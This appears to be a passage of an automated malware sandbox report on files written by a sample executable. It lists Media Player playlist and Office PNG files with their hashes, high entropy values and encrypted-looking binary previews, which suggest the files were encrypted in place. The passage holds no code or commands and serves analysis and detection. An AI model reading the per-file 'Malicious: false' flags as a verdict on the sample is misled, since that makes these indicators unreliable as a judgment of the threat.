SHA-512:	F35AE95F5050B6BAFFCC2580430DE5025453B6A9D5FF16B750CB6E95C295DBFAE8A6DE6DD56F63B6584A6C4DBB1BB995D9B0434D031E35F37FB912179F89DE6A
Malicious:	false
Preview:	<?wpl.t...-.S....6;l(S;.x8.....l...../...O......G....m..w.@...=B...#....l.....{.....]E.m...]..MM.4.....5...[.#SU..}w(W...U.a..&.@.Q..XX...E5..%..`'}c....u.=Q%...."=..%..Z..\|E...........C..y......i...@.....8.U...........a.,....s`\.....(..\|'N..l..<.......F.B.?.....Z.......\..C..:..O.m.Q-."....o,...KJR..i..J..e..L^.WH..P(u.&..2.........{N..(..{.&F5.sq."z...K\|0.=..z...s..V...U.'.'T.Rn....0_...-...]j.......#}..n_\..<...!bJ.... .......f...U.S.Ap.Y\..p..l.0..cxR..1@.....{.ni...".'..P.<P..~.-d.....H...\|m.o..,X4..}..d...3...{._I...[.s.'MMLc..1.&....W..N`De9..V..g..k....6ka.4...<,..W(..'/k..].....\....1.Bo.`.......e....<Y.s`...$.A<.~...dr.$%._...d..Q.t...0...0..H=...p...kl5.."v.S.@7.....w..j.h..../?o40.8Z1... i...;C.M.()...n.......}CA..#.........`.O..z.s!E...i....{..g.(G.&..C..-....5S..E....T.[....x..^b)?N .8.a....q.....{.l........r>;.t..MiQ].C...zt.u....h...._....'p;.F.)u...I....\|r.....M......I.18b.fx.=..........*h.K..t}<.i.B.. ......{j.

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\08_Video_rated_at_4_or_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1354
Entropy (8bit):	7.841220900574347
Encrypted:	false
SSDEEP:	24:2pN1MY7SX0NfnCxGOtWD98ama/KvS3WdVZ5qNx82deJpW62hnTJpKDVbD:2+Y7zNvCxGOtqjESmONx8s/pIFD
MD5:	B37CEB1E4C038761046EEBE7B8D2DBE0
SHA1:	D1A4E6B705C7AEC4E741F4BEF51DCA9C162C4E54
SHA-256:	B53390754790A61350DE24C00A94B8B7F644539F75DBB458C127D3B43DCF760E
SHA-512:	0616E76188BD86EFE55BA7142E4160C5466E403F3A30C68DD8BD06FE8FD5C5791789B325C3E803F25B5F40B293B60BA9E4C6804099BC666AB3214E8988C56634
Malicious:	false
Preview:	<?wpl.~.....3T:.....1.@)%D..V...V......j.....~.'......K..w.......t5>............{..>.!.%u..\...k.1.m..v...7..sk..~.../..."....C..E...2...wsb..E.+[..9...b.....H%..].hV9..........._2.P$"....L.<_.x.3V..5.......Iy..."...Y.Q...S.m.?....5`..>.P?)\|&...A.#.....%....f....S!.J.K.&...0.........x.....+.]$b.T.WTX,G.+.....::..._..F....x....\...{...h!..p...k{.k..]+].....Yi...v.2>....t[..Y.Zg.A.w.o..:kH..).$..2.\,.=...w`r>Z.s..?s...$.K...k!....+........a.~..\..;.......y.~"86o p..?........"/q..;......x....}....7J..v...i..$%..f#..\._a...U.02.....8.B...{..a.....f]...7.....7(o.n....x6 ..T.0:.kl(.J..m+.Z.6X.N/Sci..iI.....;.E.....29..T.C..`s.Lo......7..E[...Jc...qm7q..T.V.. ...z&.+..uo=.[.\...o<gH..6.U.)^h.:..e..A.}...Up.....s(>. .Je.7.....3.+.W...7k.8..P....Ou..4..{Y:.p)...$.fG...fF5.d......+...sM7nC.s.......Tf..$.o&..g~o..Q4.oe...9I.Z[M.lJ....z7..~4$...h.....E.......G..q^.Z.w>.....mR...Qy.D=?>u]......b......&N..c..Ex..O`.7.J3~p...CK.v.......V,.'tt

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\09_Music_played_the_most.wpl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1359
Entropy (8bit):	7.839384054847344
Encrypted:	false
SSDEEP:	24:g75Zl8Ad2SDSm1RwKWJWOY4OFLYRNog6hn3I0hCBtYZ2ZbaQjn9VbD:9Ad2KRwK2Y4OAog84c0tYZ2Zrn9FD
MD5:	F6E8731EDE26707164C9B899F4C51BD1
SHA1:	4F30507A347CD8E3A43B3114422AA46F6D6AF680
SHA-256:	CA6634C020250F5C26E36043BBA8DAB81A1CB3E08719B2663AEF9C72350D20EA
SHA-512:	5988B855E87E94465E54C7E618E686C9B1549C18E31A46A356F04180A81544F02BCB150F073124DB8580ABBBC8FF492611A73EE7943D7003DAFACF2833921E7C
Malicious:	false
Preview:	<?wply..{..0l..wC:S.:a...<.._.7..p.CY...e..2F.I.....1_..^.)G.[K.1....[..../.".f.B.cdu..z..G...3.+..cT_H9..G.3.....<G..Z.^.8y..]..V.....C..;....2.2.....JowN...V.n,..>.g..7..V._.'p.(.+....9{a..].....hJ.!......,".A...W...P......I.....9%Nb..@1.y.M....U...a.....fa...XL.U..p-&.0..T.._..."..-.D...:.(9;._F..kw.i.P.....}.y..6..f.....]M..f..z.z.E.B..%....CW.....Y.9l.f....u.&..I............@p......}..4.c.Q4l.<u.r.nX....]fN....t.....].,...4djbx..j...s..V>....4KSS..;...5..M>.../..(...g..T..W.\|.,.C....e.\|....bSs.....S..zv..j.)'....N..^$cO..{.&.......JZy.Lm.......0.u&.Rh~>.XG.....g..z..2.Y.....0...2P.......4Q...F..?b!...yM.z.d.....tnP....o.jT..f\L...Cz1....U..r{az.5.Zi..9=wy.{}.Zj......2..1]d.*t.9..k..C......}D.j..".5...)Q.?...y.+..2...e..;.4m.0..08dx..i...-.W5.s#....4....u.......L.'.2.....v.3... W..b.Z......-o......J..C&{(6"...)..2..B.\B..oo.......z4.{%._......F#O..]b.8.[..-...$...\..=.4.<..5...#..G.../.6...}.(.M...h.....w.D...U.-..!.q&.a.\.i

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\10_All_Music.wpl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1397
Entropy (8bit):	7.869949983636681
Encrypted:	false
SSDEEP:	24:AS5ZLiMjvfXBzSFyTwPxJa3/4KmKCJfXINja+3um3cCruvHCeQHgIDfiBVbD:D5hiwfBlTwJJ2/GKifYNjIdHCeQbD6B9
MD5:	19EB817A8D1D0BFBC1E58232C5637E7C
SHA1:	4C5353FBCF66147588B55718F6BC2A032C340CE3
SHA-256:	CBC1C929989A2A8C61D397547EA4D178A7625A092D3584C88808FE0F849320FD
SHA-512:	D021ADBC435103C16E74904340C399AB4CD5E0B4B2257984D57ED79FAC7DD4756F420513479F7E2613D671D99B736AEC00D4A292E641531E090D2A1C25FDF8E7
Malicious:	false
Preview:	<?wpl..f)...Kf/....."[..'.J~...`#..w].'........I].+.@...)...znC...K.......UH...........u..Y..W....5.Te..[........~....3...e.]..S.;. `....F....}..^k.jz...I.v........,Y..?...,.\|@...).f.SAh..N...8k.b.P...z)3%..4~<.+.ki\Vg.L....P..,.6..B....-..;z.4E....z..~..^....(.(/e/ ...}A....]P+q.g.......o.b8...0..k..!>..c.\|.Q1v...N$....U.:......>..@.-...t.W...Olv..l.B\|$.B<.w.a\....x_..p...4X.z..{.UX..v0...-....+.!a._.FX.]M7k.eJ.[.'E.M+...X.y...b..7..R..v."$..H.g..I1H....1..}N.......R...8.>..:..Vy....tW.+%.k......%U..(.e.v..q..jc>M#\..&\|..P.h?o...VNE.Gv..UDA...?L..\.9.....o.0].N.tx7#^S...:.W._.Po....u........P.....z...0GG6....S...9......7p..^..(D.w/.....O..1...VCyl.,J.f...........v;1.B.F[..H~..4l....r...\./$...p.:Y.q.R..=28..........(...&9\...e..!..O...i.!..5!8j.X.x.B.."..P4@...........z..W.h<u/.#.........[.J...H..3....}A5.h..$..<....a\|V.....f:........$<YQ.6..$....O.q>.>qo....DE.g...N..U..2...3..Fx.4..S...h.f....:...,.*>.>...R...Z2.L,..0H..eQ:.}.....

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\11_All_Pictures.wpl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	919
Entropy (8bit):	7.773166117040272
Encrypted:	false
SSDEEP:	24:MVvY9oV6TQdPkE1sTk0RR06lS7REhHZY+2Pvd58zQNHxVbD:yYKM8F1sTpXhlTHZ72XdWAHxFD
MD5:	6970EFBF160EECFD3A15965EB41D25E3
SHA1:	AD0344261F0F00BD349A05325DD8B8835BA36E31
SHA-256:	3EDE66254A4687975DA06FC8172372F926131D546C1A8AC127426DB54B5C24EE
SHA-512:	B675AB30F11D58951628EF69A11BBD395FCD46A8820EC6A2895D03413813CBBA524AD4B5E987547E1406CFC2E31AC3D4011101EB8B866BFAAFA50ECD0AC09308
Malicious:	false
Preview:	<?wpl6P...\........N..."^Kj....5..6.!...u..(.p]]....Z~.j.^#.<.=&./..........O...d.x..J...k.n.[L.R.,fh....v...S^b.f.tN..........,..d.+..KI<....p.....S......b.N.}T6.&...x\c.2b.....0x.%...=...?.q....v...&u.....}4......WB..b.9x.4...s...T{pJ.....R..Cv....'.~C.e._.x.,b.W..1tPq.+8d.P....9d......!.".........0....5;eQj.../U....a.uzs2.9.....I.......Ns...T...P.e.....@9 MC...i..#...f...).Zo.....Z.Lw..c.0.gM..-.\|J.2..A..].G...#.~..S.?....N.:..V;M.~.~...5m..p.{..C.B0(.(x. ..Y..!..z9An....LwzN.Z1..B"EZ....m.......w.u..I..z>....g..B`:.s...?s...E.....?..-.c._^.8K.z...s...)."..@.....eH....Z..k..fA.BA.@.......y..j^.....I./ .j....=Y<.%..*S3>.......j.0......6np@`.#;.h.........G.....W,Y\|.7.......Y..6'...a...O......B....sj..TP.6.At...d.y\|...g...$&^y..f...E..V..\|w..G.j:...Y........a.......u....YY..D.@.!...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\12_All_Video.wpl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1413
Entropy (8bit):	7.865309682920687
Encrypted:	false
SSDEEP:	24:fH/rmodouApeWyH5QZdlgj1BqCyn8alFRNoVWKcJlVVbD:nrmodouApLdlgjqCy8a3oVW7JvFD
MD5:	2774CCE2CCB931107B2DD4CF1795E4C7
SHA1:	B3DD0FE9B288E17535FFB52E47A5722D56A33A1B
SHA-256:	87130ECEBFC22F93734AE32C263AEA7ABF7D062DB85EF3858570212A85528067
SHA-512:	40D16634F1D9A7840C902288DE8E20D241D9C519624B840656F04E5E8268D4CCCA4FB641A230D8B5BE86DE32C39EDE85E4D2DA3A249374AFF456D95FA772316F
Malicious:	false
Preview:	<?wpl...O....Y...P....n..H..w./q..... j.......,...9+.(d.u=O.a...8.i...0....G.,.....q..%.lTH. .?.<.Z.E.....r.N)...nX.p<.rSH16..B.....g....8.&........c..z..J..u&..(./.......ix.w.8..[..f....~u.7.7>M..HJ..0....a$...Q.&TT.;.fTZ...u.g........y..(7v..2...V...E........2q.I63.g..-.........d...(aEB.zz..b.... U....H.H..!9.........".?...y....G=m3.u...\..hK}r.;.P.muN..-<..n...!.q...#.....`.r`...R`...t>....6.o>.A?.9.=....2.Q.y..c>...........m..y%#).5....SV.k.:...Y...........?p.5.z.zN.......u...p.......kf...9......D0Yt...S..+..,.%.&q_]....e.t9.ZEN.A.x....v.yT..:...P.M.....t ku.S.L.90E%..@..8.......M....W...U..s..6...D}Dh....6......L..9xI......m...T..N\|.<z ..cJ2.r.cg}..D.......{55.X...3..3........N.............X..+..s..iGF.A...c.[.e!v..E+6J.[..8.2c.;Y..>.b.xI.+.........'.x.K.E(.....Y.zb..Y.......JH.m..0..1..}.KYX.5.v.D....8..?{9..R.d$.mPJ^..l.......$I....4..=...v..P{..r...N.V[.V'.k.......<bF.`.k.2\.L_.C2.....2p......2.......X.=`...:4.$.J$.K.`4.^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{45F61A7D-A745-417E-BD88-2FFDE87A6DA8}mt16400656.png

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	7074
Entropy (8bit):	7.970426250120811
Encrypted:	false
SSDEEP:	192:O1EKd6u8p1E46ZBgS1BSMw3eSvqxIZGbzget:O1nk7D6BBSMwOSvEmGXZ
MD5:	00E3B318C1A33424268B4CEB9DFB77AB
SHA1:	2A11CFEF3006B43253DA9BA8E9894B711DCF2449
SHA-256:	9FCC362E0AE5865094283C8F230A6CE5D6E53826646D88EACB979ED0F65395A5
SHA-512:	CF161C84DB0D0D2A37EA7CD216BD84E5A0D30EE860B248D2F7C4B0294A59A7D7B6F7AB571FFBA353A3A291ACAD36FBF51BDD6F9CC17031F1AC0ABC8EF243AF12
Malicious:	false
Preview:	.PNG..f9.....,.qK.M..........G..[.......1.!0Y.".....L8:.U.(V..H..s...t(pJI..l..L........[I....../...Z.=.Q .wTD.v..0...Y5i.z.......VH.~....1.................F/.....!.G..~".....p(.^A...........a.B7.q...J.....Fb,f?...../.f.~.\|4.wk...b.!.....D.t....\|4...^>..>....%.d.....`..4...1.o..?[.X....e....2.c.XO..../Zwz6R..z.-L>>X....u..s.7.FN;..].Gv`./.......gPw:..Mc..=^k.my..w......(...E0...7.D.D...+.l....UH6../..A..VGe<..G7r.J..8...&....v..K.7.}..[..V.M.:.m...v.9.[oH].H.Y.#f.Q.^...z...DC^. ..?..B...Kp....9/Q...K.f.....[.=X].v.CS....^}..k...0..g.;...PO..%X.y..N...zE.h.U\|.....x.iJA.O...YS.X.....,rF.Hd.....?oiaW7l.p.6=.D.....bw...[i.5.9{..@HbC..S.!..x0S.e.f.Z.B10\|..,..k..-P.j.:...]...70i.h..I..%..c..K..s..ZR..n.!.X8....\.53.h7. %..{.....,F99..X..;.B......h.I......=..u.M_...K.uQ.]...N.(({.*.u1_<.r....~..]..LUP..].. '....D.y...u]!yA.c."..M.....^.".?c#..j..wy?.qc.5.. .....ex;#s.C..t.4s4].....6..F.}.....Ku..#.c..9"..o...5.+....2....D4.........,5...:...j..).E[.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{7B3AF8A2-A95D-4447-ACC9-7895C91C2D45}mt16400647.png

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	7438
Entropy (8bit):	7.974169052994856
Encrypted:	false
SSDEEP:	192:Q7uhxfyvvnz229Zv0Tz4VntXGT0efPMVcL9kfcig7:rOK29tAYS0AEjfcP7
MD5:	B307C1CDC19BB476783131B346975BBB
SHA1:	5E4DD86D214119A46313E43CD39107713C5FDCE2
SHA-256:	C2F3C13BBFB4CA4BB35AC91FF6684CDAE3B31264C911233F38AFFF2293E02F99
SHA-512:	CA815FACD2F35978E840399C01CEDD26168D1F26FFCEC495AECD16DF46C566379052913255EDDD21262B6447EA38D073B00730A501BCC6F10A8E07446AD8C8A1
Malicious:	false
Preview:	.PNG....M..[..N..2K....,...R../..:.8%.....6O...k]i/..6.\|.........[kU.....%.6._.,r. ..`UZLf..B-..E..b...).)............%.q.r-L?p...b.x.....p .."...Q..Y.`d#....[.c.A...a.`........?...m.<`.Z.."4.Q. .....Xx.5..d.O.v;..m6B.nev..K...4......L..`c-.....r^...G..2..F...:.J...i...B,9...........&..C.+.j.p.Ko.[.._.1&.G.wO2.....l.4..7y..I...F..t.4....s....G.......%.....c^.@.3c..7...:#eL..z.u.T.~...]o.`o....XM.+.)L.....K...Ir..y]M.~1G]i......,4i>].."r..0..'$O'aj:J.A..[..5~n...e.q..A..L._.C.j./w?.Nc..,.%..(..k.Q.Yv..f%....cB.U.4.Re.rL.j)fP.f...AE...{.l..X.....7n.a...u..j.6"..r..r.."U.hq....8z.0.y.}yZ\.....'.Eg7.....E.z_DXv^.....jhG..g......0....%...b.h.K....M...n..C...F.B..W._....r.........}&..@...?.3B..^..2...OZRM;t.4.DO.cz.....$...Uq,....0.:C.....9..Z...[...:I..P..o...cU......;..-9.,..q..z`8..X.$......eX..;....Nv0.....2.!.R..T.......L.N...S....u...#.... .;........x.7.:.).mf.........2.$..f......S....s......=....,./z..^.p....h)&....jdI..*......9<..E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{7D2AAE1F-E21C-4042-8EAB-08D27101C10B}mt11414620.png

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	8887
Entropy (8bit):	7.9803710503322405
Encrypted:	false
SSDEEP:	192:07h6srM0AESIdOottnhS5/WB5b3b6opZeeX5POufZjI:3wMgSIvthc5+BV31pZL5BI
MD5:	A99143571025042F8E8B247FC73D13D1
SHA1:	5844E86B3CC27A77E8940F2BD00C28DF67E33F0A
SHA-256:	24FCC0EC96D67CB1B9E339199A442DD8986E85A9C3CC775DA8859C668AF412AF
SHA-512:	27FC53D41D8B62A39A8D280F769F70E299DB6EAB49CD3A23FDE95C35DEA23A94136D5B1C4816CC14F0656F53F0AC5D9FFD721AD26D79C4FE0FE34A523464ED8B
Malicious:	false
Preview:	.PNG.P.....'K..M.}W..G.O...4Z@.b.a...,v.R......<RF...>...j....h......(mI..z....7.7.F/...S.I.....[..Q.....>.[<9.a.d...{..`Y..4.#!..\|%..R..Q..O.............0....5-....8....Z=rl3.ab@uo...U.Z....o....,H.m.;.E:.Z.?i.I.R.'F)G5...rw3z ..+#.'.....d>.c.n.....#.y..'O.n...J&.h...%.b.WJ.....?...../.....!..w..xB..4..Mc.q":<y..,j...@e.f.d?)....\...H?.....F....6Z..^.....<.I.{...DG......2FiP~..QR.......]._....[q..3...EQ\|.......q.9.....M...T.-.1'.IZu.(...3.O...NY.(..vH.5:IV.7Fj?...\|V.>.5..0/$..@......x?c.<q..},40,.....q........h].q"-.H.dF,.4.....3..W..9tN..7wn9..~...2TM...@..c.L...`jMi.`...EO.j..g...C@.L.wa.Wx.%...ls...Tv.......$..7..I....<Y.....A.ix_..\|a..g4dT.n.K\.G..1..I......C.(N.m..C7..X....I.2J...].wv..~.5c.O..C.........S,D....F.S...>..C..'..R.!.gd(..]......pZ(G.......c7....."....f..9..K6Gol..q.-.O(j.k#..%.l...o......{...'.(.S...n..n.p.*\&K.a/..H%....\./z..o/r5J_.?.s6:..4...r.4>HN?.......0.0..h....3r.m$:4b?...#<G......m.v..2..@........;..7;.XI.bAr`.c.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{967E9DC2-54C6-4D72-9409-715F9A3F61E5}mt11829122.png

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	14457
Entropy (8bit):	7.98733208764325
Encrypted:	false
SSDEEP:	384:oSEC0UeUSWOtZm4KRWpxZziKOlKCWOTSiOd:on3UkWOwRWxk7M0O
MD5:	5384C46570CBEB4AA5548E6E28CB703E
SHA1:	7A0E10758EAC952E1E7CF8CDC25BDD115108A9DD
SHA-256:	879025F0010D9F4C53545E629FBA8EC58F1533F1F55303D7CF3271B73DA2D52F
SHA-512:	914C989F9FDEC921FB081BB1AAA0F8BBED48666797012E3A469EAF1E5F83FDA21F96507EC824D56C4D9CB70F8CC5BA40ADEAA37CFA6FD67E4A461C626EBE3FB4
Malicious:	false
Preview:	.PNG..23".w........G8...'..l.hw......N....6.8.4...G.xz..F..R...u.rdp.9...A..o#s..6}....-?.#$j.....w.2s.}..E.L..my0xva.....K...Ms ..d=......_...}]@....^x.P..l...-.{\ ..4.]...^.vem.d(...x..\s.<u8.K..7.e<.....\|;vJ.....gGi}.P'....O.UgG......H..._..&l.. .2..'M.......L...O.6.4..Ya....(.No!..]e(Re...\.FN.H..KW4ie/.s.$.X.(.s..$.@....*&.7.......Zn.m.._..0..\1.5.+./?.......i.5.`..L..]}@.&......).B.........Z..;&.......'A.,N...\|Z..O...Z.N.U.G..<O....ZMU.Q;....][.E..(W./..# .......%...4..Y......tUG.w...[.........d.....h...1[..CO,....;u.&...^.H..Q.^.j....2..f.........l.J..md......;.n......\.u.[.db+..../Q..5..Z..[C\|x=f....../..2..>....=.....L..k.$h....?.;.s.e.!......@h7..0...#0...r{gsK..8`..k.<.X.......<...=.$.x....hi&........!ntx..P.r....&.o..vN+..>.1..s!..v....[.`.C..<..N.:/....'.....U7..b.Nl:a.],.._.U..,Id.t.12...J...ZLwf...8..s..h.F.....D.)......B....~Ky...G..K...O..6..{.m.j$G+...............G/+.Z....%.8&...-<H.7x...xS......,..y....t.b;.V3=...E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{A4858C46-92BF-4775-ADF9-F93EB4C5F636}mt66963475.png

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	7986
Entropy (8bit):	7.971732599549162
Encrypted:	false
SSDEEP:	192:AHN+3NNoyiloZZSTw52gurJPxpOA3rz5JzXQlz9RGv:AHN+juCZS4mxOAbzDzAlpRI
MD5:	0E9E998A3CE304371E23DE0AF3E3CB67
SHA1:	04A87EA2FB5AB80BAD39EBE74B7D370FA6DE158D
SHA-256:	F8B6006429E78F06E1D32466C710B8DC39C9A0C50358F683A688FEE2C243D7DC
SHA-512:	760177232AEFCA9DDD15D107101B3846D6A5C8184D575185A9BBF13223E52E667A26F324B21A9BA89063BE20A129E68C7F599554F8691663844D03354D22F5D2
Malicious:	false
Preview:	.PNG..B%....z.N....=9S..E...q.._.{P........<V....@.c.P0.[..3.....a..Q>......V.kTE.{..:..4F8d....1..T..`d..W..,.&......j....,....l9..m@.....,"...r...O...!..'#..u.,..o7T...[.xY....T.98.. .....8.c.}5...@.(...0..<o0..N.P%t..j'u.<G0..e.j..$.{.C.....#x5.V...!VGQF..D.....U..........Nd...vH.6..>.gaQm.Hk.8...}z........5D....3yn.zHk...\R......./...'./.~].sR..:.,N'..D8.../%.........M...".1<.F.~...i.?...Q.....M..'}....e.....\|..._.o."J.c.+...I..QqT.....G....o.2Y!.s<8.....&..7LbTK.^:=..D`...#.q...2...\....A.#.F...;,\...N....<..w.Lv..o..c>..O.GZ~.o....B.k/.Q.A.....X..Ql.....L.;.v...k,#7.5q.a...fk.... ..1..Vc......h..}..:6...DPs$E.&@o{.....E.9w:~M..<-.j.j..R<f..G...7s....;._k..S.n.%....Y.....A.I.'..,D.D{..N.....uq....C......\|^.Gj.f/}&$..5......7A.q.....F..r$....0...+...ys..(o.(....a{.g1).c..-...l.G....//O.T....$?.ns.u..T....k".4%...B..$<....w.s...+.M.=.......s...+.C.p..k.z..2m....6...lH...._l.,...3..).'.........7.....2...=<t.E...fr.ae....Ge..q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{AA4547C7-FE83-48AB-9053-3A60F16A4C34}mt10000137.png

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	5293
Entropy (8bit):	7.963591392115645
Encrypted:	false
SSDEEP:	96:/gCJhZ4Wytg8DBZrofToKRjbZpVvO2lHRP73vdUEKY9X3EDaRYTgm2Rhx9:/DJhZ4wCB+jbZpI2Hj3vR9X3cm+gm2Pn
MD5:	DF188DF68FCBA58CA67269236D1D02A8
SHA1:	933BEEA73A5ADB182A250229930D70F8300A12ED
SHA-256:	F0C55983BDFAE4B140D9739752310F54E8E3C63897E3E4DB042D05936CF74862
SHA-512:	4CE537B336D2A25F79640A1F1E08D61F399B1E118A6BC381AEC9131608C2E5AD938E4E9898FCC244EBEF327556E756B3333C27A4509D13BAD7DD37F7806BB5CF
Malicious:	false
Preview:	.PNG.J..C\|.....P4.h..G....`....:C.Qi...4......O../P..M.._d.....Zej&......P.H.......AP..b..$Y.g.3#v.w..lO[.\|+@.....j....Cl..G.....i#.x.I.r..C...Fj.Q..~+..I.P.L..?........\|.C6I.>..Io....\l.F...\|D..G7.7jR...z.=.{...7.6..C...~..9/T..;.T.G.O....N3Y......\|z`E2.b.K......T..l.^q.!.a..Bm..[.K...Z...$.+q_.N...M[S...Q...C.%...$yU........H4&....ROy..$>j.8.......H...<...P...(.PMX(y[..~...e..SL....=..l.Dkx.q\mD.dn...1.Q..S....'mi9....ty{4./...P.....P...=..c.8i.Q./\.2M.r.&......sr...`.$...3}...h_..Z.Xf.7T.d!N.mgw...H.....P....vN..4.u.=..7.M..d{..1m............v.\...P....D..!e3r.....`.<..N.=...l..1w...'.)L.k....3.#......HU..G<..;...oV.o[Ks@.....)....A..a..].+.:[@b.A..\T';.....&.l.~.....r...M:.6..i^.-g.Y..<f.`.....ErN>..4.6.<3>..C.X.......<E4......y.4......y...].".!n....`......L...#k....3..M.q..5#../\..:}.p.S,'.gMo....&./#..?[...(.....E...'.<.H15b~.]...=.q.).'..5..L..Y.%.A..)..../....,..vj.\|..E..../.G..U.....K.....4......`..^..D..x..WUD../I..,.u8.~-,.E]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{F5FB5847-D24A-455C-A647-40C253091672}mt67739505.png

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	9080
Entropy (8bit):	7.979297548331548
Encrypted:	false
SSDEEP:	192:sJsbMfCUG9Cvji5lx5pLIX7L2hQ6hLXrVJMcq0a41676G:sybMfwejif12BaP4PP76G
MD5:	2A89EFD71F2AB70B1BCA3F7608DEE017
SHA1:	2F7A646E764B9F5352E99653DF18D3F5A125E068
SHA-256:	05171CCFC44D7C7FFEDDF6511110435B2D470E71E1FADB4521D1B83C938E12E8
SHA-512:	4C5A6D5410A74EAC3A46BC2E6583DC4C10E09261BD72A5BD004D7FFF9419954F67AE0EEC22F5D84B8DC97498D3D3848CB50A6541DA8E3E5EBCBBE620EBC490B4
Malicious:	false
Preview:	.PNG.[.n.-W.......6..F%v.D.-.e..]......a.j..]."..H.!4.:...D..&..l.Q.. IN..}...B.4.e..;U&..<..j..#.y8..'....:........yX...g.#.O..]...E?o:.Wa.!uN...B...D.TB_.....r.NY...r..~..._BM<.}.J....=.W.....f9D e..8..:i(o.C!fx.#.zE[......[..$.i:IEA{v%..N.}...B36.I.#..C.`/..p3.}.."..K.Vq....j....Bp_\|{..L5.:...3......r.Ft,.?.y...r..sx.W.P!....I.e....R:.....9.M.........k..wrg..S.!MF..v.\|+c.O......;.#. c..5...4g...pw....P@......._..q....3(.VA+.&.lI.8..n>.QX=Vun..Q....:..Z.Gb5.@....m//..M...;t..-.SH....HA.j..5.Q.....e..08O...0.......M.F.y'.pl..........S.......ZfW(0VA.....:.#.h......t.q.V.X...\|l..n..S.\|...F..{..mm.0e.;..;R..[..T....k....M.......i......C...2O....:...........d-/If.$j.z.T..4...5..@.P0...gT.k......U. R@...g...9).>7Hv..LU...X......`.I..\....M.4...\7.....9F.....W.b.Pw.....o%.7i. .xZ.....x.....dL.....5....q.-...).X\.D..%..O.;.W..tM[.. ..B...~.L..qBQ..7....0.L......lvR..E...U\...@.^.=../...vu 6bH.b.D.Xw.....P.n=.5...\..?.^....#B.3\|9....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{FD5FD857-5A38-4C81-A322-3226BB279FAA}mt45299826.png

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	9025
Entropy (8bit):	7.978640167865211
Encrypted:	false
SSDEEP:	192:P4ih/WM9cn0hG/0wAl+nnEwyvq/IN5pnv8XZtNbmdDntW:5h/WEhGcwAlknvQ3N5FEHma
MD5:	F22EF95D50820552F0DB23CB9F748B38
SHA1:	191121C85A952FB708ABB347660AF2BF33E53C1D
SHA-256:	FB1BA066F029AF0B1572F8A24218B6C5404A7D5D1D5F59777DA2AE740C3048F1
SHA-512:	BA48EAE7DFEB749F24DE634A587BE6CC4EC901ADE0160473230CA6B9DFD5D7CDF5C2F0A23AE1FA5280EC2DE257EC19558AB407976F59C9B328788A0717ABEC53
Malicious:	false
Preview:	.PNG.5.^`...G...... ......l..H.hgxM%.j}2.sCjuH.v..e.e..2...l...2.M.C6B...;....w... .$eJ....}....1.c.8'-]H..3.C.~A.E..H..Z..~w.....Ha.....p3.0...~.J.P.w.=.}.gP.... ..O....K..6M.\..G......@...H...Z....L......#'.H.z..............m.&.... ....&...[H"lR......]..R.....=...`../z.-..?......y...j.....w..1.(r.g 3.Q.j...^..\|.W.Z...t.)...FuG.X.j........N.....;&....C....7....R_..yt].......rO...g.T..pZa/.Z.+.H/.p.....Z....i....&.....1..^he.>..\gn...`..&.s)......p..j..W.I.. 